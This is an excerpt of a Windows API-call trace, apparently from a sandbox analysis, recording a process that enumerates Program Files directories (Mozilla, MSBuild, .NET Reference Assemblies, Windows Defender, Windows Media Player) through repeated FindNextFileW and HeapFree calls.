	[0177.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45810c8 | out: hHeap=0x4f0000) returned 1
	[0177.078] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc17f062, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7340c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 0
	[0177.078] FindClose (in: hFindFile=0x394b8f8 | out: hFindFile=0x394b8f8) returned 1
	[0177.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0177.078] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0dc4f7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x82e2d115, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x82e2d115, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Mozilla Maintenance Service", cAlternateFileName="MOZILL~1")) returned 1
	[0177.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45810c8 | out: hHeap=0x4f0000) returned 1
	[0177.087] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef1289ad, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef1289ad, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7da49100, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x2f5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice.exe", cAlternateFileName="MAINTE~1.EXE")) returned 1
	[0177.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0177.087] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="MSBuild", cAlternateFileName="")) returned 1
	[0177.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c3e10 | out: hHeap=0x4f0000) returned 1
	[0177.089] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1
	[0177.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c3e10 | out: hHeap=0x4f0000) returned 1
	[0177.089] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0
	[0177.089] FindClose (in: hFindFile=0x394b4f8 | out: hFindFile=0x394b4f8) returned 1
	[0177.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b3e08 | out: hHeap=0x4f0000) returned 1
	[0177.089] FindNextFileW (in: hFindFile=0x394b838, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0
	[0177.089] FindClose (in: hFindFile=0x394b838 | out: hFindFile=0x394b838) returned 1
	[0177.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45810c8 | out: hHeap=0x4f0000) returned 1
	[0177.091] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0
	[0177.091] FindClose (in: hFindFile=0x394bb38 | out: hFindFile=0x394bb38) returned 1
	[0177.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0177.091] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x82e2d115, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x82e2d115, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1
	[0177.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0177.268] FindNextFileW (in: hFindFile=0x394b978, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70b90e1d, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70b90e1d, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70b90e1d, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SubsetList", cAlternateFileName="SUBSET~1")) returned 1
	[0177.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0177.268] FindNextFileW (in: hFindFile=0x394b978, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909a7d72, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c4a1e8c, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6c4c7f7a, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x6d000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1
	[0177.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c3e10 | out: hHeap=0x4f0000) returned 1
	[0177.269] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70b90e1d, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70c29919, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70c29919, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1
	[0177.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0177.464] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70c29919, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70c29919, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70c29919, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SubsetList", cAlternateFileName="SUBSET~1")) returned 1
	[0177.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0177.465] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573d84a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573d84a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1
	[0177.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c3e10 | out: hHeap=0x4f0000) returned 1
	[0177.466] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70b90e1d, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70c29919, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70c29919, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0
	[0177.466] FindClose (in: hFindFile=0x394bb38 | out: hFindFile=0x394bb38) returned 1
	[0177.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b3e08 | out: hHeap=0x4f0000) returned 1
	[0177.468] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70b90e1d, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70b90e1d, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0
	[0177.468] FindClose (in: hFindFile=0x394b8f8 | out: hFindFile=0x394b8f8) returned 1
	[0177.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45810c8 | out: hHeap=0x4f0000) returned 1
	[0177.468] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1be3e0, ftCreationTime.dwHighDateTime=0x1d4ec6b, ftLastAccessTime.dwLowDateTime=0x510ad640, ftLastAccessTime.dwHighDateTime=0x1d484ec, ftLastWriteTime.dwLowDateTime=0x510ad640, ftLastWriteTime.dwHighDateTime=0x1d484ec, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="promotion.exe", cAlternateFileName="PROMOT~1.EXE")) returned 1
	[0177.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0177.468] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x82e53326, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x82e53326, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1
	[0177.471] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0177.471] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa686fe, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa686fe, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa686fe, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EppManifest.dll", cAlternateFileName="")) returned 1
	[0177.471] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0177.471] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a3ad051, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6a3ad051, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6a3ad051, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3c1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="shellext.dll", cAlternateFileName="")) returned 1
	[0177.471] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0177.472] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc4b15df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1
	[0177.480] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0177.480] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d728c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d728c0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d728c0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1
	[0177.480] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0177.480] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x82e2d115, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x82e2d115, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1
	[0177.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0177.655] FindNextFileW (in: hFindFile=0x5dd900, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc52a386, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1
	[0177.893] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc52a386, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0177.894] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc52a386, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0
	[0177.894] FindClose (in: hFindFile=0x5dd6c0 | out: hFindFile=0x5dd6c0) returned 1
	[0177.894] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0177.894] FindNextFileW (in: hFindFile=0x5dd900, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc580db4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1
	[0177.894] FindNextFileW (in: hFindFile=0x5dd900, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa43ac3a6, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xab521500, ftLastWriteTime.dwHighDateTime=0x1d29fa1, nFileSizeHigh=0x0, nFileSizeLow=0x28200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1
	[0177.894] FindNextFileW (in: hFindFile=0x5dd900, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6ec21fe, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc581c81, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Sharing", cAlternateFileName="NETWOR~1")) returned 1
	[0177.894] FindNextFileW (in: hFindFile=0x5dd900, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4386148, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x734ad200, ftLastWriteTime.dwHighDateTime=0x1d29fa1, nFileSizeHigh=0x0, nFileSizeLow=0x1b8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1
	[0177.894] FindNextFileW (in: hFindFile=0x5dd900, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6ec21fe, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5826b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skins", cAlternateFileName="")) returned 1
	[0177.895] FindNextFileW (in: hFindFile=0x5dd900, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522a5f40, ftCreationTime.dwHighDateTime=0x1d4e2df, ftLastAccessTime.dwLowDateTime=0xc3d50110, ftLastAccessTime.dwHighDateTime=0x1d4ef6c, ftLastWriteTime.dwLowDateTime=0xc3d50110, ftLastWriteTime.dwHighDateTime=0x1d4ef6c, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="unlikely.exe", cAlternateFileName="")) returned 1
	[0177.895] FindNextFileW (in: hFindFile=0x5dd900, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6ec21fe, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5831ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1
	[0177.895] FindNextFileW (in: hFindFile=0x5dd900, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe81e0c00, ftLastWriteTime.dwHighDateTime=0x1d29fa1, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1
	[0177.895] FindNextFileW (in: hFindFile=0x5dd900, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4339c91, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x49de7600, ftLastWriteTime.dwHighDateTime=0x1d29fa2, nFileSizeHigh=0x0, nFileSizeLow=0x19000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpconfig.exe", cAlternateFileName="")) returned 1
	[0177.895] FindNextFileW (in: hFindFile=0x5dd900, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4339c91, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x97ef800, ftLastWriteTime.dwHighDateTime=0x1d29fa2, nFileSizeHigh=0x0, nFileSizeLow=0x28c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmplayer.exe", cAlternateFileName="")) returned 1
	[0177.895] FindNextFileW (in: hFindFile=0x5dd900, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4386148, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc0c73f00, ftLastWriteTime.dwHighDateTime=0x1d29fa1, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPMediaSharing.dll", cAlternateFileName="")) returned 1
	[0177.895] FindNextFileW (in: hFindFile=0x5dd900, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4386148, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x3c74bc00, ftLastWriteTime.dwHighDateTime=0x1d29fa1, nFileSizeHigh=0x0, nFileSizeLow=0x6a800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssci.dll", cAlternateFileName="")) returned 1
	[0177.895] FindNextFileW (in: hFindFile=0x5dd900, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa43ac3a6, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x1a2f6e00, ftLastWriteTime.dwHighDateTime=0x1d29fa2, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPNSSUI.dll", cAlternateFileName="")) returned 1
	[0177.895] FindNextFileW (in: hFindFile=0x5dd900, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x30d5c500, ftLastWriteTime.dwHighDateTime=0x1d29fa2, nFileSizeHigh=0x0, nFileSizeLow=0x10e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmprph.exe", cAlternateFileName="")) returned 1
